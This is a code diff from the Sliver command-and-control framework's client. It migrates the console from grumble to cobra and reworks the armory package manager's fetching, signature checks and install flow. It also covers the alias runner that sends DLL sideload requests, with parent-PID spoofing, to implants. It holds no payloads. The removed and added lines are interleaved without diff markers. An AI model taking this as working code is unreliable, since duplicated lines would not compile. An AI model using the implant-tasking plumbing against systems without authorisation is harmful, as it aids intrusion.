PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con)
}
} else {
// Flags
pPid, _ := cmd.Flags().GetUint32("ppid")
// Sideload
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
ProcessArgs: processArgs,
PPid: pPid,
})
ctrl <- true
<-ctrl
@@ -396,11 +465,11 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con)
})
con.PrintAsyncResponse(sideloadResp.Response)
} else {
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con)
}
}
}
@@ -432,11 +501,38 @@ func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly,
}
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
return true
func makeAliasPlatformFilters(alias *AliasManifest) map[string]string {
filtersOS := make(map[string]bool)
filtersArch := make(map[string]bool)
var all []string
// Only add filters for architectures when there OS matters.
for _, file := range alias.Files {
filtersOS[file.OS] = true
if filtersOS[file.OS] {
filtersArch[file.Arch] = true
}
}
return false
for os, enabled := range filtersOS {
if enabled {
all = append(all, os)
}
}
for arch, enabled := range filtersArch {
if enabled {
all = append(all, arch)
}
}
if len(all) == 0 {
return map[string]string{}
}
return map[string]string{
app.CommandFilterKey: strings.Join(all, ","),
}
}
+6 -4
View File
@@ -25,14 +25,16 @@ import (
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// AliasesRemoveCmd - Locally load a alias into the Sliver shell.
func AliasesRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name := args[0]
// name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("Extension name is required\n")
return
@@ -61,7 +63,7 @@ func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClie
return errors.New("alias not loaded")
}
delete(loadedAliases, commandName)
con.App.Commands().Remove(commandName)
// con.App.Commands().Remove(commandName)
extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return nil
+108 -52
View File
@@ -23,27 +23,31 @@ import (
"errors"
"fmt"
"net/url"
"strings"
"sync"
"time"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"golang.org/x/term"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
)
// ArmoryIndex - Index JSON containing alias/extension/bundle information
type ArmoryIndex struct {
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
ArmoryConfig *assets.ArmoryConfig `json:"-"`
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
}
// ArmoryPackage - JSON metadata for alias or extension
type ArmoryPackage struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
@@ -53,12 +57,15 @@ type ArmoryPackage struct {
IsAlias bool `json:"-"`
}
// ArmoryBundle - A list of packages
type ArmoryBundle struct {
Name string `json:"name"`
Packages []string `json:"packages"`
}
// ArmoryHTTPConfig - Configuration for armory HTTP client
type ArmoryHTTPConfig struct {
ArmoryConfig *assets.ArmoryConfig
IgnoreCache bool
ProxyURL *url.URL
Timeout time.Duration
@@ -66,20 +73,22 @@ type ArmoryHTTPConfig struct {
}
type indexCacheEntry struct {
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
}
type pkgCacheEntry struct {
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
}
var (
@@ -88,15 +97,18 @@ var (
// public key -> armoryPkgCacheEntry
pkgCache = sync.Map{}
cacheTime = time.Hour // This will kill a download if exceeded so needs to be large
// cacheTime - How long to cache the index/pkg manifests
cacheTime = time.Hour
// This will kill a download if exceeded so needs to be large
defaultTimeout = 15 * time.Minute
)
// ArmoryCmd - The main armory command
func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func ArmoryCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
armoriesConfig := assets.GetArmoriesConfig()
con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
clientConfig := parseArmoryHTTPConfig(ctx)
clientConfig := parseArmoryHTTPConfig(cmd)
indexes := fetchIndexes(armoriesConfig, clientConfig)
if len(indexes) != len(armoriesConfig) {
con.Printf("errors!\n")
@@ -190,41 +202,57 @@ func bundlesInCache() []*ArmoryBundle {
}
// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
results := []string{}
aliases, exts := packagesInCache()
bundles := bundlesInCache()
for _, aliasPkg := range aliases {
if strings.HasPrefix(aliasPkg.CommandName, prefix) {
func AliasExtensionOrBundleCompleter() carapace.Action {
comps := func(ctx carapace.Context) carapace.Action {
var action carapace.Action
results := []string{}
aliases, exts := packagesInCache()
bundles := bundlesInCache()
for _, aliasPkg := range aliases {
results = append(results, aliasPkg.CommandName)
results = append(results, aliasPkg.Help)
}
}
for _, extensionPkg := range exts {
if strings.HasPrefix(extensionPkg.CommandName, prefix) {
aliasesComps := carapace.ActionValuesDescribed(results...).Tag("aliases").Invoke(ctx)
results = make([]string, 0)
for _, extensionPkg := range exts {
results = append(results, extensionPkg.CommandName)
results = append(results, extensionPkg.Help)
}
}
for _, bundle := range bundles {
if strings.HasPrefix(bundle.Name, prefix) {
extentionComps := carapace.ActionValuesDescribed(results...).Tag("extensions").Invoke(ctx)
results = make([]string, 0)
for _, bundle := range bundles {
results = append(results, bundle.Name)
}
bundleComps := carapace.ActionValues(results...).Tag("bundles").Invoke(ctx)
return action.Invoke(ctx).Merge(
aliasesComps,
extentionComps,
bundleComps,
).ToA()
}
return results
return carapace.ActionCallback(comps)
}
// PrintArmoryPackages - Prints the armory packages
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
width = 1
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
minWidth := 150
if minWidth < width {
urlMargin := 150 // Extra margin needed to show URL column
if con.Settings.SmallTermWidth+urlMargin < width {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
@@ -273,13 +301,15 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
})
}
sliverMenu := con.App.Menu("implant")
rows := []table.Row{}
for _, pkg := range entries {
color := console.Normal
if extensions.CmdExists(pkg.CommandName, con.App) {
if extensions.CmdExists(pkg.CommandName, sliverMenu.Command) {
color = console.Green
}
if minWidth < width {
if con.Settings.SmallTermWidth+urlMargin < width {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
@@ -313,23 +343,40 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClien
{Name: "Name", Mode: table.Asc},
})
for _, bundle := range bundles {
if len(bundle.Packages) < 1 {
continue
}
packages := bundle.Packages[0]
if 1 < len(packages) {
packages += ", "
}
for index, pkgName := range bundle.Packages[1:] {
if index%5 == 4 {
packages += pkgName + "\n"
} else {
packages += pkgName
if index != len(bundle.Packages)-2 {
packages += ", "
}
}
}
tw.AppendRow(table.Row{
bundle.Name,
strings.Join(bundle.Packages, ", "),
packages,
})
}
con.Printf("%s\n", tw.Render())
}
func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
func parseArmoryHTTPConfig(cmd *cobra.Command) ArmoryHTTPConfig {
var proxyURL *url.URL
rawProxyURL := ctx.Flags.String("proxy")
rawProxyURL, _ := cmd.Flags().GetString("proxy")
if rawProxyURL != "" {
proxyURL, _ = url.Parse(rawProxyURL)
}
timeout := defaultTimeout
rawTimeout := ctx.Flags.String("timeout")
rawTimeout, _ := cmd.Flags().GetString("timeout")
if rawTimeout != "" {
var err error
timeout, err = time.ParseDuration(rawTimeout)
@@ -338,11 +385,14 @@ func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
}
}
ignoreCache, _ := cmd.Flags().GetBool("ignore-cache")
disableTLSValidation, _ := cmd.Flags().GetBool("insecure")
return ArmoryHTTPConfig{
IgnoreCache: ctx.Flags.Bool("ignore-cache"),
IgnoreCache: ignoreCache,
ProxyURL: proxyURL,
Timeout: timeout,
DisableTLSValidation: ctx.Flags.Bool("insecure"),
DisableTLSValidation: disableTLSValidation,
}
}
@@ -376,7 +426,10 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
}
}
armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
armoryResult := &indexCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryConfig.RepoURL,
}
defer func() {
armoryResult.Fetched = time.Now()
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
@@ -412,18 +465,18 @@ func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig
for _, armoryPkg := range index.Extensions {
wg.Add(1)
armoryPkg.IsAlias = false
go fetchPackageSignature(wg, armoryPkg, clientConfig)
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
for _, armoryPkg := range index.Aliases {
wg.Add(1)
armoryPkg.IsAlias = true
go fetchPackageSignature(wg, armoryPkg, clientConfig)
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
}
wg.Wait()
}
func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
defer wg.Done()
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
if ok {
@@ -433,7 +486,10 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
}
}
pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
pkgCacheEntry := &pkgCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryPkg.RepoURL,
}
defer func() {
pkgCacheEntry.Fetched = time.Now()
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
@@ -451,9 +507,9 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
var sig *minisign.Signature
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
sig, _, err = pkgParser(armoryConfig, armoryPkg, true, clientConfig)
} else {
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
+56 -24
View File
@@ -20,31 +20,47 @@ package armory
import (
"errors"
"io/ioutil"
"fmt"
"net/url"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/desertbit/grumble"
)
var (
ErrPackageNotFound = errors.New("package not found")
)
// ErrPackageNotFound - The package was not found
var ErrPackageNotFound = errors.New("package not found")
// ArmoryInstallCmd - The armory install command
func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name := args[0]
// name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("A package or bundle name is required")
return
}
clientConfig := parseArmoryHTTPConfig(ctx)
clientConfig := parseArmoryHTTPConfig(cmd)
refresh(clientConfig)
if name == "all" {
aliases, extensions := packagesInCache()
confirm := false
prompt := &survey.Confirm{
Message: fmt.Sprintf("Install %d aliases and %d extensions?",
len(aliases), len(extensions),
),
}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
}
err := installPackageByName(name, clientConfig, con)
if err == nil {
return
@@ -73,17 +89,26 @@ func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *con
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
aliases, extensions := packagesInCache()
for _, alias := range aliases {
if alias.CommandName == name {
if alias.CommandName == name || name == "all" {
installAlias(alias, clientConfig, con)
return nil
if name != "all" {
return nil
}
}
}
for _, ext := range extensions {
if ext.CommandName == name {
if ext.CommandName == name || name == "all" {
installExtension(ext, clientConfig, con)
return nil
if name != "all" {
return nil
}
}
}
if name == "all" {
con.Printf("\n")
con.PrintInfof("All packages installed\n")
return nil
}
return ErrPackageNotFound
}
@@ -118,9 +143,9 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
var sig *minisign.Signature
var tarGz []byte
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
}
if err != nil {
return err
@@ -134,7 +159,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
return errors.New("signature verification failed")
}
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
tmpFile, err := os.CreateTemp("", "sliver-armory-")
if err != nil {
return err
}
@@ -151,7 +176,10 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
if installPath == nil {
return errors.New("failed to install alias")
}
_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), con)
menuCmd := con.App.Menu(constants.ImplantMenu).Root()
_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), menuCmd, con)
if err != nil {
return err
}
@@ -161,8 +189,9 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
deps := make(map[string]struct{})
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
sliverMenu := con.App.Menu(constants.ImplantMenu)
for dep := range deps {
if extensions.CmdExists(dep, con.App) {
if extensions.CmdExists(dep, sliverMenu.Command) {
continue // Dependency is already installed
}
err := installExtensionPackageByName(dep, clientConfig, con)
@@ -236,9 +265,9 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
var sig *minisign.Signature
var tarGz []byte
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
}
if err != nil {
return err
@@ -252,7 +281,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
return errors.New("signature verification failed")
}
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
tmpFile, err := os.CreateTemp("", "sliver-armory-")
if err != nil {
return err
}
@@ -276,9 +305,12 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
if err != nil {
return err
}
if extensions.CmdExists(extCmd.Name, con.App) {
con.App.Commands().Remove(extCmd.Name)
}
extensions.ExtensionRegisterCommand(extCmd, con)
sliverMenu := con.App.Menu(constants.ImplantMenu)
//
// if extensions.CmdExists(extCmd.Name, sliverMenu.Command) {
// con.App.Commands().Remove(extCmd.Name)
// }
extensions.ExtensionRegisterCommand(extCmd, sliverMenu.Command, con)
return nil
}
+87 -110
View File
@@ -24,12 +24,13 @@ import (
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"io"
"net"
"net/http"
"net/url"
"path"
"strings"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/server/cryptography/minisign"
@@ -39,7 +40,7 @@ import (
type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
// ArmoryPackageParser - Generic interface to fetch armory package manifests
type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
type ArmoryPackageParser func(*assets.ArmoryConfig, *ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
var (
indexParsers = map[string]ArmoryIndexParser{
@@ -57,13 +58,13 @@ const (
)
type armoryIndexResponse struct {
Minisig string `json:"minisig"` // Minisig
ArmoryIndex string `json:"armory_index"` // Base64 String
Minisig string `json:"minisig"` // Minisig (Base64)
ArmoryIndex string `json:"armory_index"` // Index JSON (Base64)
}
type armoryPkgResponse struct {
Minisig string `json:"minisig"` // Minisig
TarGzURL string `json:"tar_gz_url"`
Minisig string `json:"minisig"` // Minisig (Base64)
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
}
//
@@ -78,35 +79,33 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
return nil, err
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
resp, body, _ := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
if resp.StatusCode != http.StatusOK {
return nil, errors.New("api returned non-200 status code")
}
index := &armoryIndexResponse{}
err = json.Unmarshal(body, index)
indexResp := &armoryIndexResponse{}
err = json.Unmarshal(body, indexResp)
if err != nil {
return nil, err
}
armoryIndexData, err := base64.StdEncoding.DecodeString(indexResp.ArmoryIndex)
if err != nil {
return nil, err
}
armoryIndexSigData, err := base64.StdEncoding.DecodeString(indexResp.Minisig)
if err != nil {
return nil, err
}
// Verify index is signed by trusted key
valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
valid := minisign.Verify(publicKey, armoryIndexData, armoryIndexSigData)
if !valid {
return nil, errors.New("invalid signature")
return nil, errors.New("index has invalid signature")
}
armoryIndex := &ArmoryIndex{}
armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
if err != nil {
return nil, err
armoryIndex := &ArmoryIndex{
ArmoryConfig: armoryConfig,
}
err = json.Unmarshal(armoryIndexData, armoryIndex)
if err != nil {
@@ -116,20 +115,14 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
}
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryPkg.RepoURL)
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
if err != nil {
return nil, nil, err
}
@@ -154,18 +147,10 @@ func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig
if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
return nil, nil, errors.New("invalid url scheme")
}
resp, err := client.Get(tarGzURL.String())
tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), armoryConfig)
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
tarGz, err = ioutil.ReadAll(resp.Body)
if err != nil {
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, nil, errors.New("api returned non-200 status code")
}
}
return sig, tarGz, nil
}
@@ -206,13 +191,7 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
return nil, err
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
if err != nil {
return nil, err
}
@@ -220,7 +199,7 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
if resp.StatusCode == http.StatusForbidden {
return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
}
return nil, errors.New("api returned non-200 status code")
return nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
}
releases := []GithubRelease{}
@@ -237,23 +216,13 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
var sigData []byte
for _, asset := range release.Assets {
if asset.Name == armoryIndexFileName {
resp, err := client.Get(asset.BrowserDownloadURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
armoryIndexData, err = ioutil.ReadAll(resp.Body)
armoryIndexData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
if err != nil {
return nil, err
}
}
if asset.Name == armoryIndexSigFileName {
resp, err := client.Get(asset.BrowserDownloadURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
sigData, err = ioutil.ReadAll(resp.Body)
sigData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
if err != nil {
return nil, err
}
@@ -266,7 +235,9 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
return nil, errors.New("invalid signature")
}
armoryIndex := &ArmoryIndex{}
armoryIndex := &ArmoryIndex{
ArmoryConfig: armoryConfig,
}
err = json.Unmarshal(armoryIndexData, armoryIndex)
if err != nil {
return nil, err
@@ -275,20 +246,14 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
}
// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
func GithubAPIArmoryPackageParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryPkg.RepoURL)
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
resp, body, err := httpRequest(clientConfig, armoryPkg.RepoURL, armoryConfig, http.Header{})
if err != nil {
return nil, nil, err
}
@@ -296,7 +261,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
if resp.StatusCode == http.StatusForbidden {
return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
}
return nil, nil, errors.New("api returned non-200 status code")
return nil, nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
}
releases := []GithubRelease{}
@@ -310,14 +275,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
var tarGz []byte
for _, asset := range release.Assets {
if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
var resp *http.Response
resp, err = client.Get(asset.BrowserDownloadURL)
if err != nil {
break
}
defer resp.Body.Close()
var body []byte
body, err = ioutil.ReadAll(resp.Body)
body, err := downloadRequest(clientConfig, asset.URL, armoryConfig)
if err != nil {
break
}
@@ -327,13 +285,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
}
}
if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
var resp *http.Response
resp, err = client.Get(asset.BrowserDownloadURL)
if err != nil {
break
}
defer resp.Body.Close()
tarGz, err = ioutil.ReadAll(resp.Body)
tarGz, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
if err != nil {
break
}
@@ -347,31 +299,27 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
//
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
func GithubArmoryPackageParser(_ *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
sigURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
sigResp, err := client.Get(sigURL.String())
// Setup dummy auth here as the non-api endpoints don't support the Authorization header
noAuth := &assets.ArmoryConfig{
Authorization: "",
}
body, err := downloadRequest(clientConfig, sigURL.String(), noAuth)
if err != nil {
return nil, nil, err
}
defer sigResp.Body.Close()
if sigResp.StatusCode != http.StatusOK {
return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
}
var body []byte
body, err = ioutil.ReadAll(sigResp.Body)
if err != nil {
return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
}
sig, err := parsePkgMinsig(body)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
@@ -384,18 +332,10 @@ func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientCon
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
tarGzResp, err := client.Get(tarGzURL.String())
tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), noAuth)
if err != nil {
return nil, nil, err
}
defer tarGzResp.Body.Close()
if tarGzResp.StatusCode != http.StatusOK {
return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
}
tarGz, err = ioutil.ReadAll(tarGzResp.Body)
if err != nil {
return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
}
}
return sig, tarGz, nil
@@ -416,6 +356,7 @@ func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConf
if err != nil {
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
defer latestRedirect.Body.Close()
if latestRedirect.StatusCode != http.StatusFound {
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
}
@@ -455,9 +396,8 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
Dial: (&net.Dialer{
Timeout: config.Timeout,
}).Dial,
Proxy: http.ProxyURL(config.ProxyURL),
IdleConnTimeout: time.Millisecond,
